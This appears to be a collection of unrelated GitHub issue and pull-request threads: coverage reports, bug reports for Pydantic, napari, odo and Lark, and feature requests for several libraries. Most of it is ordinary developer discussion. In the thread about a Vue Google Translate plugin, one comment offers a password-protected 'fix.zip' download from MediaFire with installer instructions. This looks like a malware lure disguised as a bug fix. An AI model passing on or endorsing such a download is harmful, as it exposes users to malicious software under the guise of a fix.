Bundle lib files

Change dir name build to libs.
Output results in a dir.
Nice colors for log output.
Add script to browserify 3rd party libs on install.

Thanks @legander! Works now 🎉 I'll create a separate issue about only copying the necessary deps to the destination libs directory. Merging this.


Forward timeout argument for lifecycle hooks

This exposes per-hook timeout settings in the same way to original jasmine API works. This change should be compatible with existing tests unless they were relying on the 2nd parameter being ignored.
Since I was already at it, I also added a test for the it timeout for consistency.

Thank you for your pull request and welcome to our community. We require contributors to sign our Contributor License Agreement, and we don't seem to have you on file. In order for us to review and merge your code, please sign up at https://code.facebook.com/cla - and if you have received this in error or have any questions, please drop us a line at<EMAIL_ADDRESS>Thanks!

Thank you for signing our Contributor License Agreement. We can now accept your code for this (and any) Facebook open source project. Thanks!

Hm, weird. Filled out the CLA form half an hour ago. Maybe it needs a bit to be picked up..?

Current coverage is 89.93% (diff: 100%)

Merging #1669 into master will not change coverage

@@             master      #1669   diff @@
==========================================
  Files            31         31
  Lines          1143       1143
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
  Hits           1028       1028
  Misses          115        115
  Partials          0          0

Powered by Codecov. Last update b1e7af2...bae892f

thank you for the fix!


Add arg for limiting results to certain classes and correctly apply cluster filtering

Fixes #76

Thanks @chambbj !


Updates beta branch

These changes have already been submitted; this PR is to get the release reflected properly Horizon, our release tracker.

Okay, going to merge. As this was already deployed, I'll cancel the CI job for the new beta deploy.

Okay, going to merge. As this was already deployed, I'll cancel the CI job for the new beta deploy.

/cc @sweir27 I've confirmed that this looks good in Horizon 👍

/cc @sweir27 I've confirmed that this looks good in Horizon 👍

@ashfurrow thank you!

@ashfurrow thank you!

gotta love some drive-by PR action!


Custom Request Headers

Hello,
It would be useful to have the ability to modify the request headers before they're sent out, possibly an additional event ("did-begin-request" or something on webview or WebContents):
var loadrequest = function(requests) {
requests["secretkey"] = "abc123";
return requests;
}
webview.addEventListener("did-begin-request", loadrequest);
I've got a project where I need to pass special headers to a web server in order to access it and provide details about the application running.
Thanks!

I'm merging this to #2115.


Dockerfile leads to multiple installations of Visual Studio Build Tools

The example Dockerfile installs Visual Studio Build Tools in C:\BuildTools, but the parent image is a .NET Framework SDK image, which already has Visual Studio Build Tools installed (in C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools). So building this Dockerfile will result in an image with two different installations of Visual Studio Build Tools.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b91a4a43-5353-97cf-7532-7644aa3b497f
Version Independent ID: 858d9a5c-72f3-6a85-9270-0a0dd9e0438b
Content: Install Visual Studio Build Tools into a container
Content Source: docs/install/build-tools-container.md
Product: visual-studio-windows
Technology: vs-installation
GitHub Login: @ornellaalt
Microsoft Alias: ornella

Thanks for filling the issue @michielvoo. The build tools can be based on a .NET runtime image (mcr.microsoft.com/dotnet/framework/runtime:4.8)  rather than SDK image. I'll work on a PR to update the docs.


Memory usage spike after version upgrade from 0.14 to 0.70

I am experiencing a memory usage spike in my policy authorization framework in .net core after upgrading to version 0.70.0 of Opa.Wasm nuget.
Before the upgrade, the memory usage was consistently below 100MB. After the upgrade, the memory usage has been spiking to over 1GB.
Upgraded below:

Opa.Wasm - from 0.14.0 to 0.70.0
.net core 3.1 to .net 6

I have tried the following to troubleshoot the issue:
Restarting the application
Would anyone be able to help me with this?

That is quite the upgrade leap; maybe you can take my perf test project https://github.com/christophwille/dotnet-opa-wasm/tree/master/src/Opa.Wasm.Benchmarks and repurpose it for memory consumption tracking?


Custom FieldError and i18n

Hello,
I search to translate with ngx-translate my custom messages for validators (fieldError Taiga UI).
I tried many solutions but I don't find.
Exemple in the documentation Taiga UI without i18n :
	    providers: [
        {
            provide: TUI_VALIDATION_ERRORS,
            useValue: {
                email: 'Enter a valid email'
                ),
            },
        },
    ],

How can I make this with a  i18n translation ?
Thanks.

Hi!
We do something like the following. For a component:
...
{ provide: TUI_VALIDATION_ERRORS, useClass: ValidationErrors }
...

and then:
/**
 * Translates `camelCasedErrorKey` errors to `ERROR.UPPER_SNAKE_CASE` translations
 * Also, the result of your validator will be used for parameters replacement so if you
 * return `{ min: 10 }` you can then access that data in the translation using `{{min}}`
 *
 * For now, it's not globally available so you need to provide this at the component level.
 */
@Injectable()
export class ValidationErrors {
  // instance prop so the zone.js does not hit proxy during testing
  // otherwise tests won't pass (this is probably some TestBed internal thing because it works fine in browser)
  __zone_symbol__unconfigurables = {};

  constructor(translate: TranslateService) {
    // defines proxy in the object prototype so it's only invoked (once) for unknown keys
    Object.setPrototypeOf(
      this,
      new Proxy(Object.getPrototypeOf(this), {
        get: (_target: any, prop: string, receiver: any) => {
          const key = `ERROR.${snakeCase(prop).toUpperCase()}`;
          const newTranslator = () => (params: any) => translate.instant(key, params);

          // stream of DIFFERENT translate functions whenever the lang changes
          // this is needed because otherwise taiga will not re-render the error component
          // note that key computation is still done just once
          const value = concat(of(newTranslator()), translate.onLangChange.pipe(map(newTranslator)));

          // cache in the receiver so it never hits this proxy again
          Object.defineProperty(receiver, prop, { value });

          return value;
        },
      })
    );
  }
}

and then in a translation file:
 "ERROR": {
    "REQUIRED": "This field is required!",
    "MIN": "Minimum value is {{min}}",
    "MAX": "Maximum value is {{min}}",
    "MAXLENGTH": "Maximum value exceeded",
    "REQUIRES_ONE": "You have to select at least one value",
    //...
  },

It is not perfect. But I hope it helps...
Best regards,
Kersten

TUI_VALIDATION_ERRORS can be a record of Observables, something like:
{
  provide: TUI_VALIDATION_ERRORS,
  deps: [YourNgxTranslateStream],
  useFactory: stream => ({
    email: stream.pipe(map(getEmailError)),
  }),
}

Also, such questions are more suitable to the Discussions section, rather than Issues ;)


feat: test unification

Codecov Report

Merging #640 (4f7d16b) into main (50b681b) will decrease coverage by 8.13%.
The diff coverage is 33.50%.

@@            Coverage Diff             @@
##             main     #640      +/-   ##
==========================================
- Coverage   94.89%   86.75%   -8.14%
==========================================
  Files          50       52       +2
  Lines        2623     2968     +345
==========================================
+ Hits         2489     2575      +86
- Misses        134      393     +259

Impacted Files
Coverage Δ

...on/standard_lib/event_ingestors/ingestor_helper.py
100.00% <ø> (ø)

...k_addon/standard_lib/fields_tests/sample_parser.py
0.00% <0.00%> (ø)

...k_addon/standard_lib/index_tests/test_generator.py
100.00% <ø> (ø)

...unk_addon/standard_lib/cim_tests/test_generator.py
83.33% <12.50%> (-16.67%)
:arrow_down:

..._addon/standard_lib/fields_tests/test_generator.py
61.76% <18.75%> (-38.24%)
:arrow_down:

...don/standard_lib/sample_generation/sample_event.py
88.60% <21.73%> (-11.40%)
:arrow_down:

...on/standard_lib/sample_generation/sample_stanza.py
90.50% <80.00%> (-6.75%)
:arrow_down:

...mple_generation/pytest_splunk_addon_data_parser.py
93.15% <81.81%> (-0.88%)
:arrow_down:

...k_addon/standard_lib/utilities/xml_event_parser.py
90.32% <90.32%> (ø)

pytest_splunk_addon/standard_lib/__init__.py
100.00% <100.00%> (ø)

... and 5 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

PR to make beta release

:tada: This PR is included in version 4.0.0-beta.1 :tada:
The release is available on:

v4.0.0-beta.1
GitHub release

Your semantic-release bot :package::rocket:


Default google translate logo bug. not hiding

-> Normal scenario
After changing the language, the spinner of google translate in the right shows up and once the translation is complete it will be gone.
-> Bug in
When there is an hidden field with labels and it shows it will translate too and shows again the spinner in the right. but sometimes it will not hide it self even if already done translation.
-> Effects
My clients online always reload the page due to this issue, it irritate them always spinning in the right.
BTW - (no errors encountered in the console), also if I Use css or any ways to hide it. it CAN'T be hidden.
Environment
Vuejs vuetify, frontend (vue2 or vue3 same issue)

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I don't think this is currently being maintained, and does this really work in translating a page? So, we could work on a port for Vue3.

I don't think this is currently being maintained, and does this really work in translating a page? So, we could work on a port for Vue3.

Hi @booluw Maintainer here. It works, but I cannot work on this due to a hectic schedule. Open-source contributions are open at this point.
will review the PRs and merge/

I don't think this is currently being maintained, and does this really work in translating a page? So, we could work on a port for Vue3.

yes it works good but not that excelent. some language such as chinese or korean or rusians etc have some issues in console. always flag me an errors. but for the performance not affecting.

I don't think this is currently being maintained, and does this really work in translating a page? So, we could work on a port for Vue3.

Hi @booluw Maintainer here. It works, but I cannot work on this due to a hectic schedule. Open-source contributions are open at this point. will review the PRs and merge.

hi lewis. i love to use this.
btw i mix this plugin with flags library. now my dropdown langue list are more good looking.

@xyruux I'm happy you've found it useful and found creative ways to use the library.
I haven't touched vue.js in years If I'm being honest but I would still love to see this library modernised in one way or another.
Please feel free to fork it, update it or even contribute to it.

Hi @lewis-kori, I having some new issue regarding the translations if im using VPN to check the site in other country.
Im using laravel
I include the script in the blade.
then my front end is vue calling the library codes..
since verification is encountering the library still not imported but the site load first (and the code) due to this. error will show google is undefined...

hoping for response and remedy soon.


EpochFloatTime

It would be nice to have a more precise EpochTime type. I'm a Ruby newbie, but this seems to work for me;
class EpochFloatTime < Float
        def load(value)
            case value
                when ::Float, ::Integer
                    ::Time.at(value)
                else value
            end
        end

        def dump(value)
            case value
                when ::Float, ::Integer, ::Time then value.to_f
                when ::DateTime then value.to_time.to_f
            end
        end
    end

Could you send a PR, and we can review that. Thanks @SJD!


Remove make_gradient, add via to make_chi

A more streamlined application of semi-automatic differentiation would always calculate gradients via a chain rule in the states. This makes make_gradient obsolete. Instead make_chi is used in all GRAPE optimizations. However, if a functional can be defined in terms of overlaps τₖ with a target state (which is true for almost all functionals in practical use), the make_chi routine should do another analytic chain rule in the τₖ and only use AD for the derivative ∂J_T/∂τ_k. This can now be done with a keyword-argument via for make_chi that defaults to :tau if all objectives have target states and :phi otherwise.
The grad_J_T_via_chi! and grad_J_T_sm! routines have been removed.

Codecov Report

Merging #42 (0f3e6d8) into master (59c0f00) will decrease coverage by 0.55%.
The diff coverage is 89.13%.

@@            Coverage Diff             @@
##           master      #42      +/-   ##
==========================================
- Coverage   80.22%   79.67%   -0.56%
==========================================
  Files          13       13
  Lines         789      792       +3
==========================================
- Hits          633      631       -2
- Misses        156      161       +5

Impacted Files
Coverage Δ

src/objectives.jl
91.48% <ø> (ø)

src/functionals.jl
96.06% <89.13%> (-3.94%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Adding a video link in the document would be easy and quick understanding the features of Azure SQL Database Managed Instance.

While reading this features comparison document, I feel it’s very lengthy and it has lots of sub links (which goes in circles)
It would be great, if we can add the Microsoft video link in the document, would be helpful for the customer to quickly go through the video and understand it in an easy way.
Recommending to add _https://azure.microsoft.com/en-in/resources/videos/ignite-2018-azure-sql-database-managed-instance-comparison-to-azure-sql-database/_ in the document where Microsoft program manager explaining and comparing in an amazing way (in 20 mins) about the Azure SQL Database Managed Instance vs Azure SQL Database.
Hope this would be helpful for the customer to quickly refer and understand it in a better way.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 3fb7dad4-ff47-5b16-e8ee-0a5e037ea20f
Version Independent ID: 98ec245b-bd8f-bd96-ec6d-0048599246fa
Content: Compare the database engine features of SQL Database and SQL Managed Instance - Azure SQL Database & SQL Managed Instance
Content Source: articles/azure-sql/database/features-comparison.md
Service: sql-db-mi
Sub-service: features
GitHub Login: @jovanpop-msft
Microsoft Alias: jovanpop

@rarandiv Thank you for the detailed feedback.
This is being assigned to the content author to evaluate and update the documentation as appropriate.

Hi @KalyanChanumolu-MSFT Just wondering if the above suggestion is getting consider.

Hi @jovanpop-msft  , Just wondering if the above suggestion for document update is getting consider? Hope it's relevant.

Hi @jovanpop-msft , @KalyanChanumolu-MSFT just checking for an update here. Does the recommendation make any sense?

Hi @rarandiv , thanks so much for reaching out! Unfortunately, given that video is from 2018 and is using the incorrect product name, we are unable to add this video at this time. However, we are certainly open to more recent suggestions :)
I'll close out this Git Issue for the time being but please feel free to comment should you need anything further.
Thanks again for reaching out and I hope you have a wonderful rest of your day!
Masha from the SQL Docs team
#please-close

#assign:MashaMSFT


Enable multiple matches in AsyncAlpine.alias()

I have components organised as follows:
components/
  Button/
    Button.island.js
    Button.jsx

In my Vite entry file, I'm using AsyncAlpine.alias('components/[name]/[name].island.js').
As only the first instance of [name] is replaced, I get a 404 on http://localhost:5173/components/Button/[name].island.js.
If I remove the second instance of [name] and rename Button.island.js to island.js, everything works as expected.
Would you be happy to enable replacement of multiple instances of [name] in AsyncAlpine.alias()?

Yep absolutely. That's something I missed due to using .replace instead of .replaceAll.
I can update next week, or you're welcome to make a PR with that change.

Excellent. Have created a PR (#34). Thanks :)


MaxOpacity

Would it be possible to implement a maximum opacity so that I can still see the map beneath if the intensity is high?

What helped me ist the following
.leaflet-heatmap-layer {
opacity: .5;
}
sets the opacity of the whole layer. What i miss is that the opacity also varies based on weighting.

The maxOpacity seems to do nothing, but @Utrehd's solution is solid.


Administration Service - Connector Controller - delete connector logic

Summary
Update Connector controller and respective api endpoint bodies due to latest changes made in the SSINext solution
Details
Endpoint: /api/administration/Connectors/{connectorId}
Method: DELETE
Needed changes:

tbd

https://github.com/eclipse-tractusx/portal-backend/issues/550 closed as wont do


Using third party native modules

I am trying to implement local discovery on my react native application for that I use react-native-tcp and react-native-udp.
The problem is the only packages available on the worker are
{
  NetInfo: [Getter],
  WorkerSelfManager: [Getter],
  JSCHeapCapture: [Getter],
  AndroidConstants: [Getter],
  IntentAndroid: [Getter],
  AsyncSQLiteDBStorage: [Getter],
  Vibration: [Getter],
  LocationObserver: [Getter],
  Networking: [Getter],
  SourceCode: [Getter],
  ExceptionsManager: [Getter],
  WebSocketModule:
   { ping: { [Function: fn] type: 'remote' },
     sendBinary: { [Function: fn] type: 'remote' },
     connect: { [Function: fn] type: 'remote' },
     send: { [Function: fn] type: 'remote' },
     close: { [Function: fn] type: 'remote' } },
  Timing:
   { deleteTimer: { [Function: fn] type: 'remote' },
     createTimer: { [Function: fn] type: 'remote' } },
  UIManager: { moduleID: 0, takeSnapshot: [Function] } }
}

The packages I have on the getPackages are the following
    @Override
    protected List<ReactPackage> getPackages() {
      return Arrays.<ReactPackage>asList(
          new MainReactPackage(),
          new TcpSocketsModule(),
          new UdpSocketsModule(),
          new WorkerPackage(),
          new VectorIconsPackage()
      );
    }

@fampinheiro good catch. the readme has been updated. tell me if that works for your use-case


Error Admin Stats

When I log in and access https://scholarsphere-qa.libraries.psu.edu/admin/stats, I get an error.
"There was an error with your request..."

Duplicate of #796


[gardening] Change a file comment into a proper doxygen file comment.

NFC.

@swift-ci smoke test and merge


Build attempts to add git safe.directory

Describe the bug
Are there other dependencies or repositories that this project relies on?
When running the build.cmd an error message is received that the wwwroot is not owned by the current user.
I was going to report it as a security vulnerability but will leave it here instead.
To Reproduce

Further technical details

Include the version of the packages you are using
The platform (Linux/macOS/Windows)

Are you running IIS on your machine? Can you share more about the relationship between where your repository is on disk and where you're hosting IIS sites from?
If you believe there is a security concern here, please avoid posting it here and instead send a detailed email to<EMAIL_ADDRESS>

Closing due to lack of activity.


Fix grammatical error in whyJest[9].content

Fixes grammatical error on the website's index page that may lead people to think that "Jest Work" is a separate package needed to run Jest with compile-to-JS languages.
CURRENT: "Jest Work with any compile ..."
CHANGE: "Jest works with any compile..."

thank you so much!


RuntimeError: Unable to apply constraint strict to schema lax-or-strict when trying to set strictness on enum fields

Initial Checks

[X] I confirm that I'm using Pydantic V2

Description
To allow "enum matching" from json input, I depend on setting enum field validation to strict=False.
This worked fine with pydantic 2.1.0.
Expectation would be that this works for enums. 😄
Thanks for your great work.
Example Code
import enum
from pydantic import BaseModel, ConfigDict, Field

class Demo(enum.Enum):
    A = 0
    B = 1

class User(BaseModel):
    model_config = ConfigDict(strict=True)
    name: str
    age: int = Field(strict=False)
    this_works: Demo
    this_does_not: Demo = Field(strict=False)  # comment this to make it work

Python, Pydantic & OS Version
pydantic version: 2.4.2
        pydantic-core version: 2.10.1
          pydantic-core build: profile=release pgo=false
                 install path: C:\Users\UserName\AppData\Local\pypoetry\Cache\virtualenvs\package-name-oKTDepZE-py3.8\Lib\site-packages\pydantic
               python version: 3.8.10 (tags/v3.8.10:3d8993a, May  3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
                     platform: Windows-10-10.0.22621-SP0
             related packages: typing_extensions-4.8.0

Hi @lovetheguitar,
Thanks for reporting this! This does seem to be a bug 🐛. I'll look into a fix and keep you updated on this thread 👍.

@lovetheguitar sure thing! Thanks again for the bug report 😄.
We generally have been adding new releases approximately monthly, but if you want to use our latest version (with the bug fix), you can pull down our latest changes from the main branch.
You can see more about our release timeline here.


vagrant-aws friendly

Hi there,
Any chance vagrant-ohai could set the vagrant attribute (as a hash) empty when running on AWS (using vagrant-aws) ?
It would be really useful to determine if the box is still running through Vagrant even though it's an EC2 instance.
Thoughts?

Old and deprecated :crystal_ball:


Automated cherry pick of #2456: Update Windows instructions * Mkdir kube-proxy log

Cherry pick of #2456 on release-1.2.
#2456: Update Windows instructions * Mkdir kube-proxy log
For details on the cherry pick process, see the cherry pick requests page.

/skip-all
/skip-ipv6-only-all
/skip-ipv6-all

Codecov Report

Merging #2810 (388ff1a) into release-1.2 (2a9deb8) will decrease coverage by 17.50%.
The diff coverage is n/a.

@@               Coverage Diff                @@
##           release-1.2    #2810       +/-   ##
================================================
- Coverage        60.27%   42.77%   -17.51%
================================================
  Files              284      146      -138
  Lines            22384    18301     -4083
================================================
- Hits             13492     7828     -5664
- Misses            7449     9771     +2322
+ Partials          1443      702      -741

Flag
Coverage Δ

kind-e2e-tests
?

unit-tests
42.77% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.


README : Project ID helper

Libraries like google-cloud-pubsub currently expect a project ID to be explicitly provided, and do not auto-infer.
Current workaround is to use the ServiceOptions.getDefaultProjectId() helper.
#1646
#2094

Changes Unknown when pulling d9f542f5af60838ea1adade0c909de3bde2048da on jabubake:project_id_readme into ** on GoogleCloudPlatform:master**.


Make carousel indicators actual buttons

Currently, the carousel indicators are not conveyed at all to assistive technologies, and they can only be operated using the mouse.
This change generalises some of the stylings and JS to be backwards-compatible (meaning it's non-breaking), but caters for a more correct structure where the indicators are actual button elements (thus keyboard-focusable/operable), and where the currently active indicator is conveyed with aria-current
Preview: https://deploy-preview-32661--twbs-bootstrap.netlify.app/docs/5.0/components/carousel/

This relies on https://github.com/twbs/bootstrap/pull/32631 being merged to remove the overridden focus indicator for the button in reboot

This relies on https://github.com/twbs/bootstrap/pull/32631 being merged to remove the overridden focus indicator for the button in reboot

Edit: would be a breaking change.

yup, exactly. i see this as a first step, then we can make it a breaking change next time to offer more styling flexibility

Edit: would be a breaking change.

yup, exactly. i see this as a first step, then we can make it a breaking change next time to offer more styling flexibility

@mdo good to merge?

@mdo good to merge?

Nope. These are added to beta3.
On Sun, Jan 17, 2021, 14:22 Patrick H. Lauke<EMAIL_ADDRESS>wrote:

@mdo https://github.com/mdo good to merge?
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/twbs/bootstrap/pull/32661#issuecomment-761803378, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AACVLNNI4O5GB7R3J3XGAULS2LJADANCNFSM4VRZCBLA
.

Nope. These are added to beta3.
On Sun, Jan 17, 2021, 14:22 Patrick H. Lauke<EMAIL_ADDRESS>wrote:

@mdo https://github.com/mdo good to merge?
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/twbs/bootstrap/pull/32661#issuecomment-761803378, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AACVLNNI4O5GB7R3J3XGAULS2LJADANCNFSM4VRZCBLA
.

Wondering if this could/should be backported to v4 as well (since we're going to backport #32627 which is similar/related)

Wondering if this could/should be backported to v4 as well (since we're going to backport #32627 which is similar/related)

Not sure about the backports, I'm waiting for @mdo decide about this and #32627 backports.

Not sure about the backports, I'm waiting for @mdo decide about this and #32627 backports.

I'm in favor of backporting if it's straightforward and provides a boost to folks and accessibility :).

I'm in favor of backporting if it's straightforward and provides a boost to folks and accessibility :).

So, about the JS part. Before, we were only looping once. Now we loop twice. Why can't we use children() like before? Also, I don't get how more than one active indicators can be present?

So, about the JS part. Before, we were only looping once. Now we loop twice. Why can't we use children() like before? Also, I don't get how more than one active indicators can be present?


Callee of NewExpression is not properly parenthesized

Version 2.13.5.
new (a?A:B)

is generated as:
"use strict";

new a ? A : B();

Fixed as of 2.13.6, thanks!


License?

Hi @hrecht, this looks really useful! Would you mind adding a license to this repo.
If it could be the MIT license, that would be super!

Thanks @fgregg! Deferring to @bchartoff as I'm no longer at Urban.
Please chime in at https://github.com/usedgov/API-Program/issues/1, so someday this scraper becomes unnecessary!

Sure thing, I agree MIT license makes sense for this scraper.
Closed by e425b13bfea343a53b2efa3f996475f3505db7ed

Thanks!


Should we remove SSH public key from nodes?

I'm in the process of refactoring how SSH keys are provisioned on the cluster nodes and we're now generating this key on the client rather than on one of the master nodes like we did on the past.  The client persists the public and private keys to the Kubernetes context extension along with the MD5 and SHA256 fingerprints.
I believe we're still uploading both the public and private keys to the nodes.  I believe we should only be installing the public keys.  This is worth investigating.

We're no longer uploading the private SSH keys.


Cli error cleanups

Fixes #761
As a part of it, I added a new NiceError class that formats errors better, and modified the main cli catch clause to use it.
Also caught a bug where some command flag options were being ignored.
The original goal of #761 was to give a better error when doing hz serve instead of hz serve --dev, since the exception you'll get is something about horizon-cert.pem and is confusing if you just want to get started. Now, if you do hz serve, you'll get:

If you actually called hz serve --cert-file=some_filename.pem, it gives a more terse error:

Assigning to @mlucy since he was the one who originally complained :P

This change is

Just noticed a stray can to in the suggestion for disabling security.

Looks good to me aside from the two minor comments.


Register version 0.1.6

@JuliaRegistrator register()

Registration pull request created: JuliaRegistries/General/57223
After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.
This will be done automatically if the Julia TagBot GitHub Action is installed, or can be done manually through the github interface, or via:
git tag -a v0.1.6 -m "<description of version>" 102f927bc8af85af564b89ff1059d04d07efab61
git push origin v0.1.6


show tab count in no-buffers mode (#1882)

This PR just copies the relevant lines from buffers.vim

I have implemented it slightly different. Thanks.


Different lint behaviors for "lint" and "precommit"

Sometimes it's useful to be more lenient when linting during active development. For example, you might want to allow debugging statements to be ignored so that you can utilise other linting checks / autofixing, while you're in the middle of debugging something.
At the moment, the precommit target depends on both test and lint. I actually added that not too long ago because it saves every makefile  from having to add their own text-x and lint-x targets to test, lint, AND precommit. However, I now feel like this is preventing me from achieving what I want for the JavaScript makefiles, because I can't run a stricter lint command for precommit without also running the lint command that already runs because of the lint target.
I think that I'd like to go back to each makefile manually choosing what it adds to precommit. This could actually be useful for other scenarios too I suppose, like running tests with a more verbose reporter.

@jmalloc I'm going to go ahead with the change described above, just giving you a heads up. If you find it particularly egregious, let me know.


Nested included build is not visible from including build

There is a Gradle plugin project which is included in another Gradle plugin project which is included in the top-level project. The top-level project applies both plugins. The middle project applies the nested plugin.
Both plugins are available in the top-level project. But the middle project fails to resolve the nested plugin.
Note, that behavior is the same if the nested project is moved one level up, next to the middle project.
:top
+ build.gradle.kts
   plugins {
      id("intermediate-plugin")
      id("nested-plugin")
   }
+ settings.gradle.kts
   includeBuild("middle-plugin")
\ :middle-plugin
  + build.gradle.kts
     plugins { id("nested-plugin") }
  + settings.gradle.kts
     includeBuild("nested-plugin")
  \ :nested-plugin
    + build.gradle.kts
    + settings.gradle.kts

Expected Behavior
Included build can use project that it includes as build.
Current Behavior
Included build cannot use project that it includes as build.
Context

I have a plugin that adds some functionality to projects. Then I have another plugin that adds automatic versioning.
I need to use the versioning plugin in the main projects and in the plugin project. I want to make it via included builds.
Steps to Reproduce

https://github.com/AKhranovskiy/gradle-nested-include-builds
Your Environment

Gradle 6.8.2 fails https://gradle.com/s/gjsqiehpivjdu
Gradle 7.0-milestone-1 works! https://gradle.com/s/wra35mqedot2u

@AKhranovskiy Thanks for the reproducer. It sounds like this got solved with 7.0 (to be released within the next few days).
I'm closing this for now as there are no plans to backport composite-build changes at this point. Let me know if I overlooked sm


debugging help:  raise UnexpectedCharacters(stream, i, text_line, text_column, {item.expect.name for item in to_scan}, set(to_scan)) lark.exceptions.UnexpectedCharacters: No terminal defined for ';'

So I am new to lark and parsing in general, therefore I am not sure if I am missing something trivial but i keep getting the following error:
 raise UnexpectedCharacters(stream, i, text_line, text_column, {item.expect.name for item in to_scan}, set(to_scan))
 lark.exceptions.UnexpectedCharacters: No terminal defined for ';' at line 1 col 1

 ;; Function main
 ^

 Expecting: {'COMMENT'}

when i try the following:
tree = cfg_parser.parse(""";; Function main """)

The grammar used to generate the parser is:
%import common.WS
%ignore WS

start : (COMMENT)*

COMMENT : ";;" /.*\n/

Could you tell me where it has gone wrong? Thanks!

Your comment expects a newline.. The easiest solution is to always add \n to the input before parsing.

Thanks so much. It works now.


Deleting layer throws error and viewing area is empty

🐛 Bug

To Reproduce
Steps to reproduce the behavior:

Load images or create other layers in napari
Select layer and click trash button, or drag to trash
Viewing area goes black and following trace is printed:

Traceback (most recent call last):
  File "XXXX\lib\site-packages\vispy\app\backends\_qt.py", line 825, in paintGL
    self._vispy_canvas.events.draw(region=None)
  File "XXXX\lib\site-packages\vispy\util\event.py", line 455, in __call__
    self._invoke_callback(cb, event)
  File "XXXX\lib\site-packages\vispy\util\event.py", line 473, in _invoke_callback
    _handle_exception(self.ignore_callback_errors,
  File "XXXX\lib\site-packages\vispy\util\event.py", line 471, in _invoke_callback
    cb(event)
  File "YYY\napari\napari\_vispy\vispy_base_layer.py", line 234, in on_draw
    self.layer.scale_factor = self.scale_factor
  File "YYY\napari\napari\_vispy\vispy_base_layer.py", line 131, in scale_factor
    transform = self.node.canvas.scene.node_transform(self.node)
AttributeError: 'NoneType' object has no attribute 'scene'

I checked out various commits, and narrowed it down to f9ca768 (#1053 Fix pyramid clipping).
Perhaps @sofroniewn might have the best idea.

Environment

Please copy and paste the information at napari info option in help menubar here:

napari: 0.2.12+61.g5c30662
Platform: Windows-10-10.0.19041-SP0
Python: 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]
Qt: 5.14.1
PySide2: 5.14.1
NumPy: 1.18.1
SciPy: 1.4.1
Dask: 2.12.0
VisPy: 0.6.4

GL version: 4.6.0 NVIDIA 441.45
MAX_TEXTURE_SIZE: 32768

Plugins:
- mat-images: 0.1.0

Yup, that's a bug, will work on a fix + test right now


odo storage list -o json strange output

/kind bug
What versions of software are you using?
Operating System:
Win10Pro
Output of odo version:
odo v1.0.3 (HEAD)

Server: https://<IP_ADDRESS>:8443
Kubernetes: v1.11.0+d4cacc0

How did you run odo exactly?
odo storage list -o json
Actual behavior
Output:
{
    "kind": "List",
    "apiVersion": "odo.openshift.io/v1alpha1",
    "metadata": {},
    "items": [
        {
            "kind": "storage",
            "apiVersion": "odo.openshift.io/v1alpha1",
            "metadata": {
                "name": "stor1",
                "creationTimestamp": null
            },
            "spec": {
                "size": "1Gi"
            },
            "status": {
                "path": "/mnt1"
            }
        }
    ]
}

Expected behavior
I would expect:

path to be part of the spec element
status element should contain state for the storage (pushed, not pushed) like what's done for the URL

Any logs, error output, etc?

Agreed with the above suggestion, path should be part of spec, I think it is under status as at some places it is used to find out if storage is mounted or not https://github.com/openshift/odo/blob/master/pkg/storage/storage.go#L307
{
    "kind": "List",
    "apiVersion": "odo.openshift.io/v1alpha1",
    "metadata": {},
    "items": [
        {
            "kind": "storage",
            "apiVersion": "odo.openshift.io/v1alpha1",
            "metadata": {
                "name": "stor1",
                "creationTimestamp": null
            },
            "spec": {
                "size": "1Gi"
                "path": "/mnt1"
            },
            "status": "Pushed"
        }
    ]
}

It involves two things

moving status.path to spec.path
moving  state to status

I also suggest to use mountPath instead of path

cc @girishramnani @kadel

If we do any changes here we need to sync with https://github.com/redhat-developer/vscode-openshift-tools as there is a risk of breaking.
Here is  a list of all odo commands that vscode plugin is calling https://github.com/redhat-developer/vscode-openshift-tools/blob/master/src/odo.ts

Adding https://github.com/redhat-developer/intellij-openshift-connector andd https://github.com/jbosstools/jbosstools-quarkus


Referer is the URL (not URIs)

Hi Colin! Thank you so much for this project! It is realy great and easy to use!
I am having trouble because it is getting my website url, not considering the uris. So instead of counting claps for a single post, it is counting for all of them.
It might be because of this:
https://developers.google.com/web/updates/2020/07/referrer-policy-new-chrome-default
May you help me?

Can you please provide a link to your website?

https://tallerawkan.cl
I could do it setting up a referrer policy manually to
no-referrer-when-downgrade.
Otherwise, it assumed a strict-origin-when-cross-origin policy and it was
only sending my main url.
El sáb, 13 de feb. de 2021 a la(s) 05:25, Colin Eberhardt (
<EMAIL_ADDRESS>escribió:

Can you please provide a link to your website?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ColinEberhardt/applause-button/issues/72#issuecomment-778583104,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AP6EHA7DKGJ6GJ5T7ALWF2TS6YZQBANCNFSM4XRQYQXQ
.

I had the same problem and managed to handle it using the url attribute.
I use Hugo, so I can pass the page permalink to the button, and each page gets its own independant counter.
<div style="display: flex; justify-content: center; padding-bottom: 24px;">
  <applause-button style="width: 58px; height: 58px;" url={{ .RelPermalink }} />
</div>

You can adapt this solution to your particular stack.

For anyone else experiencing the same problem, explicitly providing the url attribute on each component instance will solve the issue, rather than relying on the Referer.


Fixed #1430 Issue with future and repeatable only migrations

Thanks for the pull request. #1430 has been fixed in a different way. Closing.


Add support for query via Javascript

At the moment it is possible to write and execute transforms as javascript. These transforms must be executed as part of a job or run locally with the mim CLI.
When querying the datahub there is an API for bi-directional graph traversal that returns sets of related entities.
